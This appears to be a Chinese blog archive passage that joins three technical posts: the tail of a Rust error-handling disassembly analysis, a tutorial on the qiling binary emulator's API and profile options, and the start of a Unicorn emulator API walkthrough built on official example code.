fn read_username_from_file() -> Result<String, io::Error> {
let f = File::open("hello.txt");

let mut f = match f {
Ok(file) => file,
Err(e) => return Err(e),
};

let mut s = String::new();

match f.read_to_string(&mut s) {
Ok(_) => Ok(s),
Err(e) => Err(e),
}
}

fn main() {
match read_username_from_file(){
Ok(s) => println!("{}", s),
Err(_) => println!("Error!")
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
use std::io;
use std::io::Read;
use std::fs::File;

fn read_username_from_file() -> Result<String, io::Error> {
let mut f = File::open("hello.txt")?;
let mut s = String::new();
f.read_to_string(&mut s)?;
Ok(s)
}

fn main() {
match read_username_from_file(){
Ok(s) => println!("{}", s),
Err(_) => println!("Error!")
}
}

上面两段代码的功能是完全相同的,只是后面一个使用了?运算符。

上面是两段代码read_username_from_file的反汇编界面。对于不使用?运算符的源代码,其内容比较好理解。而?运算符实际上是利用了Result实现了std::ops::Try这个Trait的特点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#[unstable(feature = "try_trait_v2", issue = "84277")]
impl<T, E> ops::Try for Result<T, E> {
type Output = T;
type Residual = Result<convert::Infallible, E>;

#[inline]
fn from_output(output: Self::Output) -> Self {
Ok(output)
}

#[inline]
fn branch(self) -> ControlFlow<Self::Residual, Self::Output> {
match self {
Ok(v) => ControlFlow::Continue(v),
Err(e) => ControlFlow::Break(Err(e)),
}
}
}

在第22行,Rust调用了_<core::result::Result<T, E> as core::ops::try_trait::Try>::branch,从上面的实现源码可以看到branch通过match控制执行流。又因为如果结果为Ok时返回的是Self::Residual实例,后续要使用Result真正包装的实例还需要调用反汇编窗口26行的_<core::result::Result<T, F> as core::ops::try_trait::FromResidual<core..result..Result<core::convert::Infallible, E>>>::from_residual获取。这部分内容可以参考资料中有关于try_trait的解释。

总结

本文简单分析了panic!以及Result

  • panic!内部使用了x86的stack unwinding技术,可完成堆栈的回溯。另外通过.debug_line节可定位具体的行数。
  • Result<T, E>索引值为0表示Ok,1则表示Err
  • ?标识符由于使用了std::ops::Try Trait的函数,因此只能用于实现了这个Trait的结构,Result就是其一,还有Option<T>也实现了该Trait。

qiling 是一个基于 Unicorn 开发的二进制文件仿真工具,与 Unicorn 不同,qiling 的功能更加完善更加易用。下面将对该 Python 库的主要 API 进行总结与学习。

A. 类 Qiling

这是 qiling 模拟器主类,将完成仿真的大部分主要操作。

A.1 构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def __init__(
self,
argv: Sequence[str] = [],
rootfs: str = r'.',
env: MutableMapping[AnyStr, AnyStr] = {},
code: Optional[bytes] = None,
ostype: Optional[QL_OS] = None,
archtype: Optional[QL_ARCH] = None,
verbose: QL_VERBOSE = QL_VERBOSE.DEFAULT,
profile: Optional[Union[str, Mapping]] = None,
console: bool = True,
log_file: Optional[str] = None,
log_override: Optional['Logger'] = None,
log_plain: bool = False,
multithread: bool = False,
filter: Optional[str] = None,
stop: QL_STOP = QL_STOP.NONE,
*,
endian: Optional[QL_ENDIAN] = None,
thumb: bool = False,
libcache: bool = False
):
...

一些常用参数的含义:

  • argv:命令的具体内容,对于控制台的命令,需要以空格分开并保存在列表中。如要执行/bin/cat flag.txt则需要传入['/bin/cat', 'flag.txt']
  • rootfs:本次模拟的根目录,默认为当前目录。
  • env:环境变量,传入字典即可。
  • code:自定义代码,不能和argv同时指定,这个参数主要是用于执行机器码字节序列。
  • ostype:操作系统,传入QL_OS类型。
  • archtype:处理器架构,传入QL_ARCH类型。
  • verbose:输出信息的详细程度,如调试级别会比默认级别输出更多信息。传入QL_VERBOSE类型。
  • profile:配置项,可以保存在文件中传入文件名,也可以传入字典。
  • console:是否运行在终端,将输出内容显示在终端。
  • log_file:日志的输出文件。
  • log_plain:是否输出去除颜色的日志内容,当日志被保存到文件中时常用。
  • multithread:是否使用多线程。
  • filter:根据正则表达式筛选指定日志输出。
  • endian:端序。
  • thumb:模拟 ARM 架构时是否为 thumb 模式。

这里与程序运行过程中关系最大的参数之一就是profile,我们可以在这里定义堆栈的地址、mmap的输出地址、网络配置等,profile参数如果为文件名,后缀应为.ql,文件实际格式为yaml。下面是默认的 Linux 配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
[CODE]
# ram_size 0xa00000 is 10MB
ram_size = 0xa00000
entry_point = 0x1000000


[OS64]
stack_address = 0x7ffffffd0000
stack_size = 0x30000
load_address = 0x555555554000
interp_address = 0x7ffff7dd5000
mmap_address = 0x7fffb7dd6000
vsyscall_address = 0xffffffffff600000


[OS32]
stack_address = 0x7ff0d000
stack_size = 0x30000
load_address = 0x56555000
interp_address = 0x047ba000
mmap_address = 0x90000000


[KERNEL]
uid = 1000
gid = 1000
pid = 1996


[MISC]
current_path = /


[NETWORK]
# override the ifr_name field in ifreq structures to match the hosts network interface name.
# that fixes certain socket ioctl errors where the requested interface name does not match the
# one on the host. comment out to avoid override
ifrname_override = eth0

# To use IPv6 or not, to avoid binary double bind. ipv6 and ipv4 bind the same port at the same time
bindtolocalhost = True
# Bind to localhost
ipv6 = False

非常令人不解的是,官方文档并没有详细给出 profile 配置文件中包含哪些有效的项。翻遍了整个互联网,居然没有人对 qiling 配置文件的所有选项进行总结,要想知道某个配置的名字,只能参考现有的 .ql 文件,外加直接搜索 qiling 源代码中的相关用法。加载中需要使用的项在仓库的loader目录下不同格式的二进制文件加载过程代码中可以找到,下面简单总结一下查到的所有配置文件项列表(可能不全):

A.2. profile 配置文件项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
所有格式通用:(os/os.py、os/posix/posix.py)
[CODE](Qiling构造函数需传入code参数)
entry_point: 程序入口点
ram_size: RAM的大小
[MISC]
current_path: 当前路径(OS类型需要为支持POSIX的,包括Linux、FreeBSD、QNX、macOS、Windows、DOS)
[KERNEL]
uid: uid号和euid号
gid: gid号和egid号
pid: pid号
[NETWORK]
ipv6: 布尔值,是否支持ipv6
bindtolocalhost: 布尔值,是否绑定到本机IP
ifrname_override: 主机网络设备映射

BLOB:(无操作系统的Bare Metal二进制文件)
[CODE]
heap_size: 堆空间大小

DOS:
[COM]
start_cs: 初始CS值(要求后缀名为.DOS_COM)
start_ip: 初始IP值(要求后缀名为.DOS_COM)
start_sp: 初始SP值(要求后缀名为.DOS_COM)
stack_size: 栈大小
[KERNEL]
ticks_per_second: 时钟频率

ELF:
[OS{字长bit数}]
stack_address: 栈地址
stack_size: 栈大小
load_address: 加载地址(需要为重定向文件)
interp_address: Linux加载器地址
mmap_address: mmap返回的地址
vsyscall_address: vsyscall地址(需要为OS64)

MacOS:
[OS64]
stack_address: 栈地址
stack_size: 栈大小
vmmap_trap_address: vmmap内存映射地址
heap_address: 堆地址
heap_size: 堆大小
mmap_address: mmap返回的地址
[LOADER]
slide
dyld_slide

MCU:


PE:
[HARDWARE]
number_processors: 处理器数量
[SYSTEM]
productType: 产品类型
majorVersion: 大版本号
minorVersion: 小版本号
VER_SERVICEPACKMAJOR: 系统包大版本
language: 系统语言(调用Windows SDK API)
permission: 权限
[OS{字长bit数}]
KI_USER_SHARED_DATA:内核用户共享数据地址
stack_address: 栈地址
stack_size: 栈大小
image_address: 程序的加载地址
dll_address: 系统等DLL文件加载地址
entry_point: 程序入口
[VOLUME]
name: 卷名
serial_number: 卷序列号
type: 卷类型
sectors_per_cluster: 每个簇的分区数量
bytes_per_sector: 每个分区包含的字节数量
number_of_free_clusters: 可用簇数量
number_of_clusters: 簇总数
[PATH]
systemdrive: 系统驱动
???: 其他任意Windows环境变量
[USER]
language: 用户语言(Windows SDK API)
[NETWORK]
dns_response_ip: DNS服务器IP
[PROCESSES]
csrss.exe: csrss.exe的pid
[KERNEL]
parent_pid: 父进程pid
[REGISTRY]
???: 任意注册表项

PE_UEFI:
[DXE]
heap_address: 堆地址
heap_size: 堆大小
stack_address: 栈地址
stack_size: 栈大小
image_address: EFI文件的加载地址
[SMM]
smram_size: SMM执行模式下的SMRAM大小
smram_base: SMM执行模式下的SMRAM基址
heap_address: SMM堆地址
heap_size: SMM堆大小
image_address: SMM加载基地址
[LOADED_IMAGE_PROTOCOL]
Guid: 加载的image的guid
[HOB_LIST]
Guid: Hand-Off Block,用于数据交接块的guid

下面,我们尝试模拟一下 Linux 系统的 ASLR 保护机制加载一个 ELF 文件,并在 main 函数开头暂停,输出该 ELF 文件的内存布局情况。

A.3 第一次试运行

在第一次运行的过程中,发现了一些问题,下面逐一进行解决。

测试代码:

1
2
3
4
5
6
#include <stdio.h>

int main(){
puts("Hello, Qiling !!!");
puts("Greetings from CoLin");
}

为了模拟 ASLR 内存保护,我们需要对 libc 的加载地址、ELF 的加载地址以及堆栈的地址进行一定程度的随机化。由于 ASLR 要求每一次执行的内存地址都不同,因此我们不能将配置文件写死在 ql 文件之中,只能动态生成到字典中。

而对于 Qiling 类构造函数的参数,需要注意rootfs选项。这里一定要将根目录设置为 ‘/’,如果设置为默认值,那么 qiling 将无法找到加载 ELF 的 ld.so 文件以及 libc.so 文件。

随后,开启执行发现,Qiling 没有完成一些较新的 Linux 系统调用实现。笔者的 libc 版本为 2.35,在加载器加载时会调用 334 号系统调用,而 Qiling 没有实现这个系统调用的替代,因此导致该系统调用无法正常运行,加载器判定 libc 版本不够。因此下面改为静态编译后运行。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import qiling.const
import qiling
from pwn import *

def callback(ql: qiling.Qiling):
print('\n'.join(ql.mem.get_formatted_mapinfo()))

if __name__ == '__main__':
profile = {
"OS64": {}
}

# 0x5500_0000_0000 ~ 0x56ff_ffff_f000
profile['OS64']['stack_address'] = 0x8000_0000_0000 - 0x30000 - (randint(0, 0x8000_0000) << 12)
profile['OS64']['stack_size'] = 0x30000
profile['OS64']['mmap_address'] = profile['OS64']['stack_address'] - 0x1000_0000

print("profile: ")
for key, value in profile['OS64'].items():
print("{}: {}".format(key, hex(value)))

elf = ELF('./hello_qiling')

emu = qiling.Qiling(
argv=['./hello_qiling'],
rootfs='/',
ostype=qiling.const.QL_OS.LINUX,
archtype=qiling.const.QL_ARCH.X8664,
profile=profile,
)

print(hex(elf.symbols['main']))
emu.hook_address(callback, elf.symbols['main'])
emu.run()

这里hook_address即在main函数首地址添加 hook。回调函数的第一个参数一定要为 Qiling 对象。ql.mem.get_formatted_mapinfo用于获取工整的内存映射信息字符串。

输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
profile: 
stack_address: 0x7c76907a4000
stack_size: 0x30000
mmap_address: 0x7c76807a4000
[*] '/home/colin/Desktop/misc/CTF-playground/qiling/qiling_learn/hello_qiling'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x401775
Start End Perm Label Image
000000000000030000 - 000000000000031000 rwx [GDT]
000000000000400000 - 000000000000401000 r-- hello_qiling /home/colin/Desktop/misc/CTF-playground/qiling/qiling_learn/hello_qiling
000000000000401000 - 000000000000498000 r-x hello_qiling /home/colin/Desktop/misc/CTF-playground/qiling/qiling_learn/hello_qiling
000000000000498000 - 0000000000004c1000 r-- hello_qiling /home/colin/Desktop/misc/CTF-playground/qiling/qiling_learn/hello_qiling
0000000000004c1000 - 0000000000004c5000 r-- hello_qiling /home/colin/Desktop/misc/CTF-playground/qiling/qiling_learn/hello_qiling
0000000000004c5000 - 0000000000004cd000 rw- hello_qiling /home/colin/Desktop/misc/CTF-playground/qiling/qiling_learn/hello_qiling
0000000000004cd000 - 0000000000004cf000 rwx [hook_mem]
0000000000004cf000 - 0000000000004d0000 rwx [brk]
0000000000004d0000 - 0000000000004f1000 rwx [brk]
0000007c76907a4000 - 0000007c76907d4000 rwx [stack]
00ffffffffff600000 - 00ffffffffff601000 rwx [vsyscall]
Hello, Qiling !!!
Greetings from CoLin
[=] arch_prctl(code = 0x3001, addr = 0x7c76907d3e00) = -0x1 (EPERM)
[=] brk(inp = 0x0) = 0x4cf000
[=] brk(inp = 0x4cfdc0) = 0x4d0000
[=] arch_prctl(code = 0x1002, addr = 0x4cf3c0) = 0x0
[=] set_tid_address(tidptr = 0x4cf690) = 0x2419
[=] set_robust_list(head_ptr = 0x4cf6a0, head_len = 0x18) = 0x0
[!] 0x44ac4f: syscall ql_syscall_rseq number = 0x14e(334) not implemented
[=] uname(buf = 0x7c76907d3b90) = 0x0
[=] prlimit64(pid = 0x0, res = 0x3, new_limit = 0x0, old_limit = 0x7c76907d3d10) = 0x0
[=] readlink(pathname = 0x4aea98, buf = 0x7c76907d2c50, bufsize = 0x1000) = 0x48
[=] getrandom(buf = 0x4cc1f0, buflen = 0x8, flags = 0x1) = 0x8
[=] brk(inp = 0x4f1000) = 0x4f1000
[=] mprotect(start = 0x4c1000, mlen = 0x4000, prot = 0x1) = 0x0
[=] newfstatat(dirfd = 0x1, path = 0x4af37d, buf_ptr = 0x7c76907d3b00, flags = 0x1000) = -0x1 (EPERM)
[=] write(fd = 0x1, buf = 0x4d0500, count = 0x27) = 0x27
[=] exit_group(code = 0x0) = ?

对于静态编译的程序,其 ELF 加载地址是固定的,但我们对栈地址完成了随机化处理。

A.4 Hooks

Qiling 支持多种程序 Hook,包括内存读写访问、基本块、代码片段、特定指令(只支持 syscall、in、out 等少数几种系统相关指令,Qiling 的一大缺点)。下面使用上面的静态编译程序进行测试,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import qiling.const
import qiling.core_hooks_types

from pwn import *

def callback_address(ql: qiling.Qiling):
print("*** Address Hook Callback Function ***")

def callback_code(ql: qiling.Qiling, address: int, inst_size: int):
print(f"*** Code Hook Callback Function: at {address:#x}, instruction size = {inst_size} ***")

def callback_basicblock(ql: qiling.Qiling, address: int, inst_size: int):
print(f"*** Basic Block Hook Callback Function: at {address:#x}, instruction size = {inst_size} ***")

def callback_memoryFetch(ql: qiling.Qiling, access_type: int, address: int, memory_size: int, value: int):
print(f"*** Memory Fetch Hook Callback Function: at {address:#x}, memory size = {memory_size} ***")

if __name__ == '__main__':
profile = {
"OS64": {}
}

# 0x5500_0000_0000 ~ 0x56ff_ffff_f000
profile['OS64']['stack_address'] = 0x8000_0000_0000 - 0x30000 - (randint(0, 0x8000_0000) << 12)
profile['OS64']['stack_size'] = 0x30000
profile['OS64']['mmap_address'] = profile['OS64']['stack_address'] - 0x1000_0000

print("profile: ")
for key, value in profile['OS64'].items():
print("{}: {}".format(key, hex(value)))

elf = ELF('./hello_qiling')

emu = qiling.Qiling(
argv=['./hello_qiling'],
rootfs='/',
ostype=qiling.const.QL_OS.LINUX,
archtype=qiling.const.QL_ARCH.X8664,
profile=profile,
)

hooks: list[qiling.core_hooks_types.HookRet] = [
emu.hook_address(callback_address, elf.symbols['main']),
emu.hook_code(callback_code, begin=elf.symbols['main'] + 4, end=elf.symbols['main'] + 8),
emu.hook_block(callback_basicblock, begin=elf.symbols['main'] + 0x17, end=elf.symbols['main'] + 0x26),
emu.hook_mem_read(callback_memoryFetch, begin=0x498016, end=0x49802b)
]
emu.run()

这里的hook_code相当于给某个范围内的所有指令前添加 Hook,在不传入beginend参数的情况下,默认是在整个内存空间操作,即对所有指令添加 Hook。hook_block则是在某个范围内对新找到的基本块添加 Hook。不同的 Hook 的回调函数的参数不太一样,对于内存访问 Hook,其参数包含访问类型、访问地址、访问大小、写入(如果访问为写入操作)的值。当然在创建 Hook 时也可以为回调函数添加其他的参数。

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
profile: 
stack_address: 0x784745fb3000
stack_size: 0x30000
mmap_address: 0x784735fb3000
[*] '/home/colin/Desktop/misc/CTF-playground/qiling/qiling_learn/hello_qiling'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[=] arch_prctl(code = 0x3001, addr = 0x784745fe2e00) = -0x1 (EPERM)
[=] brk(inp = 0x0) = 0x4cf000
[=] brk(inp = 0x4cfdc0) = 0x4d0000
[=] arch_prctl(code = 0x1002, addr = 0x4cf3c0) = 0x0
[=] set_tid_address(tidptr = 0x4cf690) = 0x4b1c
[=] set_robust_list(head_ptr = 0x4cf6a0, head_len = 0x18) = 0x0
[!] 0x44ac4f: syscall ql_syscall_rseq number = 0x14e(334) not implemented
[=] uname(buf = 0x784745fe2b90) = 0x0
[=] prlimit64(pid = 0x0, res = 0x3, new_limit = 0x0, old_limit = 0x784745fe2d10) = 0x0
[=] readlink(pathname = 0x4aea98, buf = 0x784745fe1c50, bufsize = 0x1000) = 0x48
[=] getrandom(buf = 0x4cc1f0, buflen = 0x8, flags = 0x1) = 0x8
[=] brk(inp = 0x4f1000) = 0x4f1000
[=] mprotect(start = 0x4c1000, mlen = 0x4000, prot = 0x1) = 0x0
[=] newfstatat(dirfd = 0x1, path = 0x4af37d, buf_ptr = 0x784745fe2b00, flags = 0x1000) = -0x1 (EPERM)
[=] write(fd = 0x1, buf = 0x4d0500, count = 0x27) = 0x27
[=] exit_group(code = 0x0) = ?
*** Address Hook Callback Function ***
*** Code Hook Callback Function: at 0x401779, instruction size = 1 ***
*** Code Hook Callback Function: at 0x40177a, instruction size = 3 ***
*** Code Hook Callback Function: at 0x40177d, instruction size = 7 ***
*** Memory Fetch Hook Callback Function: at 0x498010, memory size = 8 ***
*** Memory Fetch Hook Callback Function: at 0x498018, memory size = 8 ***
*** Memory Fetch Hook Callback Function: at 0x498020, memory size = 8 ***
*** Memory Fetch Hook Callback Function: at 0x498028, memory size = 8 ***
*** Basic Block Hook Callback Function: at 0x40178c, instruction size = 15 ***
*** Memory Fetch Hook Callback Function: at 0x498016, memory size = 8 ***
*** Memory Fetch Hook Callback Function: at 0x49801e, memory size = 8 ***
*** Memory Fetch Hook Callback Function: at 0x498020, memory size = 8 ***
*** Memory Fetch Hook Callback Function: at 0x498028, memory size = 8 ***
*** Memory Fetch Hook Callback Function: at 0x498016, memory size = 8 ***
*** Memory Fetch Hook Callback Function: at 0x49801e, memory size = 8 ***
*** Memory Fetch Hook Callback Function: at 0x498026, memory size = 4 ***
*** Basic Block Hook Callback Function: at 0x40179b, instruction size = 7 ***
Hello, Qiling !!!
Greetings from CoLin

A.5 runtime 关键数据

runtime 数据包括寄存器值、内存值等。在 pwndbg 中,每一次程序执行中断后都会显示当前 RIP 前后的汇编代码、寄存器值以及堆栈内容。在 qiling 中,这些同样可以实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import qiling
import qiling.core_hooks_types
from random import randint
from pwn import *

context.arch = "amd64"
watch_regs = ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi', 'rsp', 'rbp',
'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15']

def callback_code(ql: qiling.Qiling, address: int, inst_size: int):
current_instruction = ql.mem.read(address, inst_size)
assembly = repr(next(ql.arch.disassembler.disasm(current_instruction, 0)))

print(f"{address:#x}: {assembly}")

print("*** REGISTERS ***")
for reg in watch_regs:
print(f"{reg}\t{ql.arch.regs.read(reg):16x}")

print("*** STACK ***")
for i in range(10):
print(f"{ql.arch.regs.read('rsp') + i * 8:x}\t{ql.arch.stack_read(i * 8):16x}")

input()

if __name__ == '__main__':
profile = {
"OS64": {}
}

# 0x5500_0000_0000 ~ 0x56ff_ffff_f000
profile['OS64']['stack_address'] = 0x8000_0000_0000 - 0x30000 - (randint(0, 0x8000_0000) << 12)
profile['OS64']['stack_size'] = 0x30000
profile['OS64']['mmap_address'] = profile['OS64']['stack_address'] - 0x1000_0000

emu = qiling.Qiling(
argv=['./hello_qiling'],
profile=profile
)

hook: qiling.core_hooks_types.HookRet = emu.hook_code(callback_code)
emu.run()

如上脚本所示,这里的hook_code仅传入了回调函数参数,这使得程序在每执行一条汇编指令后都会调用一次回调函数。在回调函数中,可以通过ql.mem_read方法读取内存中的任意地址处的任意长度值(write 即为写入),返回值为字节数组(bytearray)。在 qiling 中提供了调用 capstone 库进行反汇编的 API:ql.arch.disassembler.disasm,第一个参数为字节数组,第二个参数为偏移量。

对于寄存器值,可以直接通过ql.arch.regs.read传入寄存器名获取寄存器的值(write 即为写入)。如果需要查询当前架构的所有寄存器,可以通过ql.arch.regs.register_mapping获取。

对于堆栈,qiling 也特别设计了 API 便于操作。ql.arch.stack_read用于读取以rsp为基地址的任意偏移量的堆栈值(读取 4/8 字节,取决于字长)。stack_write为写入指定偏移处,stack_pushstack_pop即为直接修改rsp的值,在程序执行外完成 push 和 pop 操作。

部分输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0x40166f: <CsInsn 0x0 [67e8db130000]: call 0x13e1>
*** REGISTERS ***
rax 0
rbx 0
rcx 0
rdx 7f69841ede78
rsi 1
rdi 401775
rsp 7f69841ede60
rbp 0
r8 0
r9 0
r10 0
r11 0
r12 0
r13 0
r14 0
r15 0
*** STACK ***
7f69841ede60 7f69841ede68
7f69841ede68 0
7f69841ede70 1
7f69841ede78 7f69841edff0
7f69841ede80 0
7f69841ede88 0
7f69841ede90 10
7f69841ede98 78bfbfd
7f69841edea0 6
7f69841edea8 1000

A.6 内存

1
2
3
4
5
6
7
8
9
def callback_address(ql: qiling.Qiling):
address_to_map = 0x123456780000
if ql.mem.is_mapped(address_to_map, 0x2000):
return
ql.mem.map(address_to_map, 0x2000, UC_PROT_READ | UC_PROT_WRITE)
ql.mem.protect(address_to_map, 0x1000, UC_PROT_READ)
addresses: list[int] = ql.mem.search(re.compile(b"[a-zA-Z0-9]{4,}\0"), 0x400000, 0x500000)
print('\n'.join(f"{hex(x)} {ql.mem.string(x)}" for x in addresses))
ql.mem.unmap(address_to_map, 0x2000)

qiling 支持对内存进行映射、解除映射、搜索等操作。如上,ql.mem.is_mapped可查询某地址开始往后一段空间是否已经被映射,ql.mem.protect用于修改某段内存的权限,ql.mem.search可查询某段内存中的值并返回所有查询结果,查询可使用字节数组或正则表达式。ql.mem.string可便捷地提取内存中某个地址开始的字符串,但字符串中不可包含不可打印字符。

部分输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
0x4ad2c7 ENOCSI
0x4ad2ce EL2HLT
0x4ad2d5 EBADE
0x4ad2db EBADR
0x4ad2e1 EXFULL
0x4ad2e8 ENOANO
0x4ad2ef EBADRQC
0x4ad2f7 EBADSLT
0x4ad2ff EBFONT
0x4ad306 ENONET
0x4ad30d ENOPKG
0x4ad314 EADV

A.7 pack

qiling 支持整数类型与字符数组的相互转化,甚至还能够将字符数组转化为 C 语言的结构体。字符数组与结构体的转化是通过 Python 自带模块实现的,规则参考 Python 文档

1
2
3
4
5
6
7
8
print(emu.pack8(0x12))          # unpack 将字符数组转化为整数
print(emu.pack16(0x1234))
print(emu.pack32(0x12345678))
print(emu.pack64(0x1234567890abcdef))
print(emu.pack8s(-0x12)) # 有符号值
print(emu.pack16s(-0x1234))
print(emu.pack32s(-0x12345678))
print(emu.pack64s(-0x1234567890abcdef))

输出:

1
2
3
4
5
6
7
8
b'\x12'
b'4\x12'
b'xV4\x12'
b'\xef\xcd\xab\x90xV4\x12'
b'\xee'
b'\xcc\xed'
b'\x88\xa9\xcb\xed'
b'\x112To\x87\xa9\xcb\xed'

Unicorn 是一个常用的模拟执行框架,能够方便地完成常用 OS 二进制文件的模拟执行。它不仅能够应用于 CTF 解题,在学术界也是重要的基础工具。目前,Unicorn 的最晚发行版本发行于2022年末,目前似乎已经停止维护,但它是多个功能更加全面的模拟器(如 qiling )的基础。因此有必要进行学习。

下面,我们通过几个代码示例学习 Unicorn Python API 的使用。

1. Hello-Unicorn

这个示例来自官方文档。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from unicorn import *
from unicorn.x86_const import *

# code to be emulated
X86_CODE32 = b"\x41\x4a" # INC ecx; DEC edx

# memory address where emulation starts
ADDRESS = 0x1000000

print("Emulate i386 code")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)

# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)

# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32)

# initialize machine registers
mu.reg_write(UC_X86_REG_ECX, 0x1234)
mu.reg_write(UC_X86_REG_EDX, 0x7890)

# emulate code in infinite time & unlimited instructions
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))

# now print out some registers
print("Emulation done. Below is the CPU context")

r_ecx = mu.reg_read(UC_X86_REG_ECX)
r_edx = mu.reg_read(UC_X86_REG_EDX)
print(f'>>> ECX = 0x{r_ecx:x}')
print(f">>> EDX = 0x{r_edx:x}")

except UcError as e:
print("ERROR: %s" % e)
  • from unicorn.x86_const import *:在 unicorn 中定义有针对不同架构的枚举定义文件,其中为该架构的所有寄存器、指令赋予一个整数值便于表示。后面的UC_X86_REG_ECX即为引用 x86_const.py 中的常量。
  • Uc(UC_ARCH_X86, UC_MODE_32):实例化一个模拟器对象,这个类的构造函数只有 2 个参数,没有其他任何可选参数。只需要指定架构和运行模式即可。这里是以 x86 架构,32 位模式构建一个模拟器。
  • mem_map(ADDRESS, 2 * 1024 * 1024):为一个对象映射一块新的内存空间。这个方法有3个参数,分别为地址、长度、权限(默认为 RWX )。
  • mem_write(ADDRESS, X86_CODE32):在一个地址处写入内容。
  • reg_write(UC_X86_REG_ECX, 0x1234):为一个寄存器写入值。
  • emu_start(ADDRESS, ADDRESS + len(X86_CODE32)):开始执行模拟器,该方法有 4 个参数,分别为开始地址、结束地址、超时(默认为0)、指令数量(默认为0,为0时将执行所有可执行的指令)。
  • reg_read(UC_X86_REG_ECX):读取寄存器ecx的值。

由于 Unicorn 仅实现了最为基础的模拟仿真功能,因此它具备轻量级的优势,API 规范很少,理解起来较为简单。

2. Instruction-Hooks

这个示例选自Unicorn仓库内的测试代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from unicorn import *
from unicorn.x86_const import *

X86_CODE64_SYSCALL = b'\x0f\x05' # SYSCALL

# memory address where emulation starts
ADDRESS = 0x1000000

print("Emulate x86_64 code with 'syscall' instruction")
try:
# Initialize emulator in X86-64bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_64)

# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)

# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE64_SYSCALL)

def hook_syscall(mu, user_data):
rax = mu.reg_read(UC_X86_REG_RAX)
if rax == 0x100:
mu.reg_write(UC_X86_REG_RAX, 0x200)
else:
print('ERROR: was not expecting rax=%d in syscall' % rax)

# hook interrupts for syscall
mu.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL)

# syscall handler is expecting rax=0x100
mu.reg_write(UC_X86_REG_RAX, 0x100)

try:
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE64_SYSCALL))
except UcError as e:
print("ERROR: %s" % e)

# now print out some registers
print(">>> Emulation done. Below is the CPU context")

rax = mu.reg_read(UC_X86_REG_RAX)
print(f">>> RAX = 0x{rax:x}")

except UcError as e:
print("ERROR: %s" % e)
  • hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL):在执行过程中添加 hook。参数列表:
    • htype:hook 类型。Unicorn 可以对很多程序行为添加 Hook,包括指定指令、指定基本块、指定内存行为等。可以在 unicorn_const.py 中查看所有UC_HOOK开头的常数定义。
    • callback:回调函数,即 hook 函数。
    • user_data:用于回调函数的所有参数。
    • begin:Hook 能够触发的开始 PC。
    • end:Hook 能够触发的结束 PC。
    • arg1/arg2:与 Hook 相关的参数,如对于UC_HOOK_INSN,则只需要arg1指定特定的指令类型。

3. Snapshot

这个示例选自Unicorn仓库内的测试代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from unicorn import *
from unicorn.x86_const import *
import pickle

print("Save/restore CPU context in opaque blob")
address = 0
code = b'\x40' # inc eax
try:
# Initialize emulator
mu = Uc(UC_ARCH_X86, UC_MODE_32)

# map 8KB memory for this emulation
mu.mem_map(address, 8 * 1024, UC_PROT_ALL)

# write machine code to be emulated to memory
mu.mem_write(address, code)

# set eax to 1
mu.reg_write(UC_X86_REG_EAX, 1)

print(">>> Running emulation for the first time")
mu.emu_start(address, address+1)

print(">>> Emulation done. Below is the CPU context")
print(">>> EAX = 0x%x" %(mu.reg_read(UC_X86_REG_EAX)))
